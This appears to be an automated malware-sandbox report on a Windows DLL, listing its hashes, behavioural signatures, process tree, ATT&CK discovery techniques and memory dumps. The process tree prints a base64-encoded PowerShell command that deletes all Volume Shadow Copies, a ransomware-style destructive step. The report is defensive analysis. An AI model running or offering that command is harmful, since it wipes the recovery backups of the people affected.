Overview

overview

10

Static

static

10

b6efb55d76...f8.dll

windows7_x64

6

b6efb55d76...f8.dll

windows10_x64

6

Analysis

  • max time kernel
    121s
  • max time network
    167s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24-01-2022 01:14

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General

  • Target

    b6efb55d76540fd01ab1b007f7c8ac5d9c4818aeebd1209e40b5ac2135dcf2f8.dll

  • Size

    166KB

  • MD5

    572c56dbb7d40850ddceda6bca358ae7

  • SHA1

    6752e13f4772d21ee9f85a4d528a5d967ae9ebc9

  • SHA256

    b6efb55d76540fd01ab1b007f7c8ac5d9c4818aeebd1209e40b5ac2135dcf2f8

  • SHA512

    2d4321096585e023c8d26cc7739ab76f0efa06732885d34425fe5ff3a575a0fd255d73a83f4cff3576fe6fc54a55831075e5bf949a9d21e1032fdc38d1b54297

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\b6efb55d76540fd01ab1b007f7c8ac5d9c4818aeebd1209e40b5ac2135dcf2f8.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3504
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\b6efb55d76540fd01ab1b007f7c8ac5d9c4818aeebd1209e40b5ac2135dcf2f8.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3536
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4408
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2252

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1
T1012

Peripheral Device Discovery

1
T1120

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • memory/4408-216-0x000001CE41890000-0x000001CE418B2000-memory.dmp
    Filesize

    136KB

    Download
  • memory/4408-220-0x000001CE418D0000-0x000001CE418D2000-memory.dmp
    Filesize

    8KB

    Download
  • memory/4408-221-0x000001CE418D3000-0x000001CE418D5000-memory.dmp
    Filesize

    8KB

    Download
  • memory/4408-222-0x000001CE43B30000-0x000001CE43BA6000-memory.dmp
    Filesize

    472KB

    Download